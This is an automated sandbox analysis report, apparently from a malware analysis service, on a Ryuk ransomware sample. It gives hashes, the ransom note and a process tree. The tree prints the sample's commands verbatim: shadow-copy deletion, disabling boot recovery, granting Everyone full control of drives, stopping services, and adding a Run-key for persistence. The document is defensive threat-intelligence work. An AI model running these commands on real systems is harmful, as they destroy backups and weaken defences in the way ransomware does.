ryuk | f270d56ba05344b7c1d3bdf0afbe8e0bbf3cc7fee569ccfdbb1fa1294b2e85d0

Analysis

max time kernel
168s
max time network
138s
platform
windows7_x64
resource
win7-en-20211208
submitted
20/02/2022, 00:24 UTC

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

f270d56ba05344b7c1d3bdf0afbe8e0bbf3cc7fee569ccfdbb1fa1294b2e85d0.exe
Size

113KB
MD5

8c7e7e483cd51fd209709cadcb982bcb
SHA1

fcce16c3e4906feec110e93fdf75f8a12b86cad8
SHA256

f270d56ba05344b7c1d3bdf0afbe8e0bbf3cc7fee569ccfdbb1fa1294b2e85d0
SHA512

32d6e10d6de35703adc71c17dc1a3722781210edd897f20a7be8eed1e39b8613f105ae86213bc0496167406cfdb4debeaceb1c87336b08894cf409795583f69b

Score

10^/10

ryuk discovery persistence ransomware

Malware Config

Extracted

Path

C:\Users\Admin\AppData\Local\Temp\RyukReadMe.html

Family

ryuk

Ransom Note

<html><body><p style="font-weight:bold;font-size:125%;top:0;left:0;"> loybranunun1975@protonmail.com <br> </p><p style="position:absolute;bottom:0;right:1%;font-weight:bold;font-size:170%">balance of shadow universe</p><div style="font-size: 550%;font-weight:bold;width:50%;height:50%;overflow:auto;margin:auto;position:absolute;top:35%;left:40%;">Ryuk</div></body></html��

Emails

loybranunun1975@protonmail.com

Signatures

Ryuk
Ransomware distributed via existing botnets, often Trickbot or Emotet.
ransomware ryuk
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1107

Inhibit System Recovery
T1490

Executes dropped EXE 2 IoCs

pid	Process
1640	pWSWMuToLlan.exe
676	uvlNazPvglan.exe

Loads dropped DLL 4 IoCs

pid	Process
788	f270d56ba05344b7c1d3bdf0afbe8e0bbf3cc7fee569ccfdbb1fa1294b2e85d0.exe
788	f270d56ba05344b7c1d3bdf0afbe8e0bbf3cc7fee569ccfdbb1fa1294b2e85d0.exe
788	f270d56ba05344b7c1d3bdf0afbe8e0bbf3cc7fee569ccfdbb1fa1294b2e85d0.exe
788	f270d56ba05344b7c1d3bdf0afbe8e0bbf3cc7fee569ccfdbb1fa1294b2e85d0.exe

Modifies file permissions 1 TTPs 2 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
1696	icacls.exe
1468	icacls.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Windows\CurrentVersion\Run\EV = "\uffff\ufffe\ufffeC:\\Users\\Admin\\AppData\\Local\\Temp\\f270d56ba05344b7c1d3bdf0afbe8e0bbf3cc7fee569ccfdbb1fa1294b2e85d0.exe"	reg.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Interacts with shadow copies 2 TTPs 1 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1107

Inhibit System Recovery

T1490

pid	Process
1936	vssadmin.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
788	f270d56ba05344b7c1d3bdf0afbe8e0bbf3cc7fee569ccfdbb1fa1294b2e85d0.exe
788	f270d56ba05344b7c1d3bdf0afbe8e0bbf3cc7fee569ccfdbb1fa1294b2e85d0.exe
788	f270d56ba05344b7c1d3bdf0afbe8e0bbf3cc7fee569ccfdbb1fa1294b2e85d0.exe
788	f270d56ba05344b7c1d3bdf0afbe8e0bbf3cc7fee569ccfdbb1fa1294b2e85d0.exe
788	f270d56ba05344b7c1d3bdf0afbe8e0bbf3cc7fee569ccfdbb1fa1294b2e85d0.exe
788	f270d56ba05344b7c1d3bdf0afbe8e0bbf3cc7fee569ccfdbb1fa1294b2e85d0.exe
788	f270d56ba05344b7c1d3bdf0afbe8e0bbf3cc7fee569ccfdbb1fa1294b2e85d0.exe
788	f270d56ba05344b7c1d3bdf0afbe8e0bbf3cc7fee569ccfdbb1fa1294b2e85d0.exe
788	f270d56ba05344b7c1d3bdf0afbe8e0bbf3cc7fee569ccfdbb1fa1294b2e85d0.exe

Suspicious use of AdjustPrivilegeToken 46 IoCs

description	pid	Process
Token: SeBackupPrivilege	788	f270d56ba05344b7c1d3bdf0afbe8e0bbf3cc7fee569ccfdbb1fa1294b2e85d0.exe
Token: SeBackupPrivilege	1640	pWSWMuToLlan.exe
Token: SeBackupPrivilege	676	uvlNazPvglan.exe
Token: SeIncreaseQuotaPrivilege	1588	WMIC.exe
Token: SeSecurityPrivilege	1588	WMIC.exe
Token: SeTakeOwnershipPrivilege	1588	WMIC.exe
Token: SeLoadDriverPrivilege	1588	WMIC.exe
Token: SeSystemProfilePrivilege	1588	WMIC.exe
Token: SeSystemtimePrivilege	1588	WMIC.exe
Token: SeProfSingleProcessPrivilege	1588	WMIC.exe
Token: SeIncBasePriorityPrivilege	1588	WMIC.exe
Token: SeCreatePagefilePrivilege	1588	WMIC.exe
Token: SeBackupPrivilege	1588	WMIC.exe
Token: SeRestorePrivilege	1588	WMIC.exe
Token: SeShutdownPrivilege	1588	WMIC.exe
Token: SeDebugPrivilege	1588	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1588	WMIC.exe
Token: SeRemoteShutdownPrivilege	1588	WMIC.exe
Token: SeUndockPrivilege	1588	WMIC.exe
Token: SeManageVolumePrivilege	1588	WMIC.exe
Token: 33	1588	WMIC.exe
Token: 34	1588	WMIC.exe
Token: 35	1588	WMIC.exe
Token: SeBackupPrivilege	1580	vssvc.exe
Token: SeRestorePrivilege	1580	vssvc.exe
Token: SeAuditPrivilege	1580	vssvc.exe
Token: SeIncreaseQuotaPrivilege	1588	WMIC.exe
Token: SeSecurityPrivilege	1588	WMIC.exe
Token: SeTakeOwnershipPrivilege	1588	WMIC.exe
Token: SeLoadDriverPrivilege	1588	WMIC.exe
Token: SeSystemProfilePrivilege	1588	WMIC.exe
Token: SeSystemtimePrivilege	1588	WMIC.exe
Token: SeProfSingleProcessPrivilege	1588	WMIC.exe
Token: SeIncBasePriorityPrivilege	1588	WMIC.exe
Token: SeCreatePagefilePrivilege	1588	WMIC.exe
Token: SeBackupPrivilege	1588	WMIC.exe
Token: SeRestorePrivilege	1588	WMIC.exe
Token: SeShutdownPrivilege	1588	WMIC.exe
Token: SeDebugPrivilege	1588	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1588	WMIC.exe
Token: SeRemoteShutdownPrivilege	1588	WMIC.exe
Token: SeUndockPrivilege	1588	WMIC.exe
Token: SeManageVolumePrivilege	1588	WMIC.exe
Token: 33	1588	WMIC.exe
Token: 34	1588	WMIC.exe
Token: 35	1588	WMIC.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 788 wrote to memory of 1640	788	f270d56ba05344b7c1d3bdf0afbe8e0bbf3cc7fee569ccfdbb1fa1294b2e85d0.exe	27
PID 788 wrote to memory of 1640	788	f270d56ba05344b7c1d3bdf0afbe8e0bbf3cc7fee569ccfdbb1fa1294b2e85d0.exe	27
PID 788 wrote to memory of 1640	788	f270d56ba05344b7c1d3bdf0afbe8e0bbf3cc7fee569ccfdbb1fa1294b2e85d0.exe	27
PID 788 wrote to memory of 1640	788	f270d56ba05344b7c1d3bdf0afbe8e0bbf3cc7fee569ccfdbb1fa1294b2e85d0.exe	27
PID 788 wrote to memory of 676	788	f270d56ba05344b7c1d3bdf0afbe8e0bbf3cc7fee569ccfdbb1fa1294b2e85d0.exe	30
PID 788 wrote to memory of 676	788	f270d56ba05344b7c1d3bdf0afbe8e0bbf3cc7fee569ccfdbb1fa1294b2e85d0.exe	30
PID 788 wrote to memory of 676	788	f270d56ba05344b7c1d3bdf0afbe8e0bbf3cc7fee569ccfdbb1fa1294b2e85d0.exe	30
PID 788 wrote to memory of 676	788	f270d56ba05344b7c1d3bdf0afbe8e0bbf3cc7fee569ccfdbb1fa1294b2e85d0.exe	30
PID 788 wrote to memory of 1252	788	f270d56ba05344b7c1d3bdf0afbe8e0bbf3cc7fee569ccfdbb1fa1294b2e85d0.exe	16
PID 788 wrote to memory of 1360	788	f270d56ba05344b7c1d3bdf0afbe8e0bbf3cc7fee569ccfdbb1fa1294b2e85d0.exe	20
PID 788 wrote to memory of 1072	788	f270d56ba05344b7c1d3bdf0afbe8e0bbf3cc7fee569ccfdbb1fa1294b2e85d0.exe	31
PID 788 wrote to memory of 1072	788	f270d56ba05344b7c1d3bdf0afbe8e0bbf3cc7fee569ccfdbb1fa1294b2e85d0.exe	31
PID 788 wrote to memory of 1072	788	f270d56ba05344b7c1d3bdf0afbe8e0bbf3cc7fee569ccfdbb1fa1294b2e85d0.exe	31
PID 788 wrote to memory of 1072	788	f270d56ba05344b7c1d3bdf0afbe8e0bbf3cc7fee569ccfdbb1fa1294b2e85d0.exe	31
PID 788 wrote to memory of 1668	788	f270d56ba05344b7c1d3bdf0afbe8e0bbf3cc7fee569ccfdbb1fa1294b2e85d0.exe	33
PID 788 wrote to memory of 1668	788	f270d56ba05344b7c1d3bdf0afbe8e0bbf3cc7fee569ccfdbb1fa1294b2e85d0.exe	33
PID 788 wrote to memory of 1668	788	f270d56ba05344b7c1d3bdf0afbe8e0bbf3cc7fee569ccfdbb1fa1294b2e85d0.exe	33
PID 788 wrote to memory of 1668	788	f270d56ba05344b7c1d3bdf0afbe8e0bbf3cc7fee569ccfdbb1fa1294b2e85d0.exe	33
PID 1072 wrote to memory of 1664	1072	net.exe	35
PID 1072 wrote to memory of 1664	1072	net.exe	35
PID 1072 wrote to memory of 1664	1072	net.exe	35
PID 1072 wrote to memory of 1664	1072	net.exe	35
PID 1668 wrote to memory of 1044	1668	net.exe	36
PID 1668 wrote to memory of 1044	1668	net.exe	36
PID 1668 wrote to memory of 1044	1668	net.exe	36
PID 1668 wrote to memory of 1044	1668	net.exe	36
PID 788 wrote to memory of 1496	788	f270d56ba05344b7c1d3bdf0afbe8e0bbf3cc7fee569ccfdbb1fa1294b2e85d0.exe	37
PID 788 wrote to memory of 1496	788	f270d56ba05344b7c1d3bdf0afbe8e0bbf3cc7fee569ccfdbb1fa1294b2e85d0.exe	37
PID 788 wrote to memory of 1496	788	f270d56ba05344b7c1d3bdf0afbe8e0bbf3cc7fee569ccfdbb1fa1294b2e85d0.exe	37
PID 788 wrote to memory of 1496	788	f270d56ba05344b7c1d3bdf0afbe8e0bbf3cc7fee569ccfdbb1fa1294b2e85d0.exe	37
PID 788 wrote to memory of 1320	788	f270d56ba05344b7c1d3bdf0afbe8e0bbf3cc7fee569ccfdbb1fa1294b2e85d0.exe	40
PID 788 wrote to memory of 1320	788	f270d56ba05344b7c1d3bdf0afbe8e0bbf3cc7fee569ccfdbb1fa1294b2e85d0.exe	40
PID 788 wrote to memory of 1320	788	f270d56ba05344b7c1d3bdf0afbe8e0bbf3cc7fee569ccfdbb1fa1294b2e85d0.exe	40
PID 788 wrote to memory of 1320	788	f270d56ba05344b7c1d3bdf0afbe8e0bbf3cc7fee569ccfdbb1fa1294b2e85d0.exe	40
PID 788 wrote to memory of 988	788	f270d56ba05344b7c1d3bdf0afbe8e0bbf3cc7fee569ccfdbb1fa1294b2e85d0.exe	39
PID 788 wrote to memory of 988	788	f270d56ba05344b7c1d3bdf0afbe8e0bbf3cc7fee569ccfdbb1fa1294b2e85d0.exe	39
PID 788 wrote to memory of 988	788	f270d56ba05344b7c1d3bdf0afbe8e0bbf3cc7fee569ccfdbb1fa1294b2e85d0.exe	39
PID 788 wrote to memory of 988	788	f270d56ba05344b7c1d3bdf0afbe8e0bbf3cc7fee569ccfdbb1fa1294b2e85d0.exe	39
PID 788 wrote to memory of 1800	788	f270d56ba05344b7c1d3bdf0afbe8e0bbf3cc7fee569ccfdbb1fa1294b2e85d0.exe	38
PID 788 wrote to memory of 1800	788	f270d56ba05344b7c1d3bdf0afbe8e0bbf3cc7fee569ccfdbb1fa1294b2e85d0.exe	38
PID 788 wrote to memory of 1800	788	f270d56ba05344b7c1d3bdf0afbe8e0bbf3cc7fee569ccfdbb1fa1294b2e85d0.exe	38
PID 788 wrote to memory of 1800	788	f270d56ba05344b7c1d3bdf0afbe8e0bbf3cc7fee569ccfdbb1fa1294b2e85d0.exe	38
PID 788 wrote to memory of 1468	788	f270d56ba05344b7c1d3bdf0afbe8e0bbf3cc7fee569ccfdbb1fa1294b2e85d0.exe	45
PID 788 wrote to memory of 1468	788	f270d56ba05344b7c1d3bdf0afbe8e0bbf3cc7fee569ccfdbb1fa1294b2e85d0.exe	45
PID 788 wrote to memory of 1468	788	f270d56ba05344b7c1d3bdf0afbe8e0bbf3cc7fee569ccfdbb1fa1294b2e85d0.exe	45
PID 788 wrote to memory of 1468	788	f270d56ba05344b7c1d3bdf0afbe8e0bbf3cc7fee569ccfdbb1fa1294b2e85d0.exe	45
PID 788 wrote to memory of 1696	788	f270d56ba05344b7c1d3bdf0afbe8e0bbf3cc7fee569ccfdbb1fa1294b2e85d0.exe	46
PID 788 wrote to memory of 1696	788	f270d56ba05344b7c1d3bdf0afbe8e0bbf3cc7fee569ccfdbb1fa1294b2e85d0.exe	46
PID 788 wrote to memory of 1696	788	f270d56ba05344b7c1d3bdf0afbe8e0bbf3cc7fee569ccfdbb1fa1294b2e85d0.exe	46
PID 788 wrote to memory of 1696	788	f270d56ba05344b7c1d3bdf0afbe8e0bbf3cc7fee569ccfdbb1fa1294b2e85d0.exe	46
PID 788 wrote to memory of 1332	788	f270d56ba05344b7c1d3bdf0afbe8e0bbf3cc7fee569ccfdbb1fa1294b2e85d0.exe	47
PID 788 wrote to memory of 1332	788	f270d56ba05344b7c1d3bdf0afbe8e0bbf3cc7fee569ccfdbb1fa1294b2e85d0.exe	47
PID 788 wrote to memory of 1332	788	f270d56ba05344b7c1d3bdf0afbe8e0bbf3cc7fee569ccfdbb1fa1294b2e85d0.exe	47
PID 788 wrote to memory of 1332	788	f270d56ba05344b7c1d3bdf0afbe8e0bbf3cc7fee569ccfdbb1fa1294b2e85d0.exe	47
PID 1332 wrote to memory of 2008	1332	net.exe	51
PID 1332 wrote to memory of 2008	1332	net.exe	51
PID 1332 wrote to memory of 2008	1332	net.exe	51
PID 1332 wrote to memory of 2008	1332	net.exe	51
PID 788 wrote to memory of 1620	788	f270d56ba05344b7c1d3bdf0afbe8e0bbf3cc7fee569ccfdbb1fa1294b2e85d0.exe	52
PID 788 wrote to memory of 1620	788	f270d56ba05344b7c1d3bdf0afbe8e0bbf3cc7fee569ccfdbb1fa1294b2e85d0.exe	52
PID 788 wrote to memory of 1620	788	f270d56ba05344b7c1d3bdf0afbe8e0bbf3cc7fee569ccfdbb1fa1294b2e85d0.exe	52
PID 788 wrote to memory of 1620	788	f270d56ba05344b7c1d3bdf0afbe8e0bbf3cc7fee569ccfdbb1fa1294b2e85d0.exe	52
PID 788 wrote to memory of 884	788	f270d56ba05344b7c1d3bdf0afbe8e0bbf3cc7fee569ccfdbb1fa1294b2e85d0.exe	54
PID 788 wrote to memory of 884	788	f270d56ba05344b7c1d3bdf0afbe8e0bbf3cc7fee569ccfdbb1fa1294b2e85d0.exe	54

C:\Windows\system32\taskhost.exe
"taskhost.exe"
1⤵
PID:1252

C:\Windows\system32\Dwm.exe
"C:\Windows\system32\Dwm.exe"
1⤵
PID:1360

C:\Users\Admin\AppData\Local\Temp\f270d56ba05344b7c1d3bdf0afbe8e0bbf3cc7fee569ccfdbb1fa1294b2e85d0.exe
"C:\Users\Admin\AppData\Local\Temp\f270d56ba05344b7c1d3bdf0afbe8e0bbf3cc7fee569ccfdbb1fa1294b2e85d0.exe"
1⤵
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:788
- C:\Users\Admin\AppData\Local\Temp\pWSWMuToLlan.exe
  "C:\Users\Admin\AppData\Local\Temp\pWSWMuToLlan.exe" 8 LAN
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:1640
- C:\Users\Admin\AppData\Local\Temp\uvlNazPvglan.exe
  "C:\Users\Admin\AppData\Local\Temp\uvlNazPvglan.exe" 8 LAN
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:676
- C:\Windows\SysWOW64\net.exe
  "C:\Windows\System32\net.exe" stop "audioendpointbuilder" /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1072
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop "audioendpointbuilder" /y
    3⤵
    PID:1664
- C:\Windows\SysWOW64\net.exe
  "C:\Windows\System32\net.exe" stop "samss" /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1668
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop "samss" /y
    3⤵
    PID:1044
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "WMIC.exe shadowcopy delete"
  2⤵
  PID:1496
- - C:\Windows\SysWOW64\Wbem\WMIC.exe
    WMIC.exe shadowcopy delete
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1588
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "bootstatuspolicy ignoreallfailures"
  2⤵
  PID:1800
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "bcdedit /set {default} recoveryenabled No & bcdedit /set {default}"
  2⤵
  PID:988
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "vssadmin.exe Delete Shadows /all /quiet"
  2⤵
  PID:1320
- - C:\Windows\SysWOW64\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:1936
- C:\Windows\SysWOW64\icacls.exe
  icacls "C:\*" /grant Everyone:F /T /C /Qþþ
  2⤵
  - Modifies file permissions
  PID:1468
- C:\Windows\SysWOW64\icacls.exe
  icacls "D:\*" /grant Everyone:F /T /C /Qþþ
  2⤵
  - Modifies file permissions
  PID:1696
- C:\Windows\SysWOW64\net.exe
  "C:\Windows\System32\net.exe" stop "audioendpointbuilder" /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1332
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop "audioendpointbuilder" /y
    3⤵
    PID:2008
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /C REG ADD "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "EV" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\f270d56ba05344b7c1d3bdf0afbe8e0bbf3cc7fee569ccfdbb1fa1294b2e85d0.exe" /f /reg:64
  2⤵
  PID:1620
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "EV" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\f270d56ba05344b7c1d3bdf0afbe8e0bbf3cc7fee569ccfdbb1fa1294b2e85d0.exe" /f /reg:64
    3⤵
    - Adds Run key to start application
    PID:1580
- C:\Windows\SysWOW64\net.exe
  "C:\Windows\System32\net.exe" stop "samss" /y
  2⤵
  PID:884
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop "samss" /y
    3⤵
    PID:1916
- C:\Windows\SysWOW64\net.exe
  "C:\Windows\System32\net.exe" stop "samss" /y
  2⤵
  PID:2812
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop "samss" /y
    3⤵
    PID:2836
- C:\Windows\SysWOW64\net.exe
  "C:\Windows\System32\net.exe" stop "samss" /y
  2⤵
  PID:2956
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop "samss" /y
    3⤵
    PID:2980
- C:\Windows\SysWOW64\net.exe
  "C:\Windows\System32\net.exe" stop "samss" /y
  2⤵
  PID:59096
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop "samss" /y
    3⤵
    PID:59120

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1580

Network

No results found

10.127.0.1:7

uvlNazPvglan.exe

130 B
1
10.127.0.1:7

pWSWMuToLlan.exe

130 B
1
154.61.71.13:7

uvlNazPvglan.exe

130 B
1
154.61.71.13:7

pWSWMuToLlan.exe

130 B
1
224.0.0.22:7

uvlNazPvglan.exe

130 B
1
224.0.0.22:7

pWSWMuToLlan.exe

130 B
1
224.0.0.252:7

uvlNazPvglan.exe

130 B
1
224.0.0.252:7

pWSWMuToLlan.exe

130 B
1
239.255.255.250:7

pWSWMuToLlan.exe

130 B
1
239.255.255.250:7

uvlNazPvglan.exe

130 B
1

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

File Deletion

T1107

File and Directory Permissions Modification

T1222

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact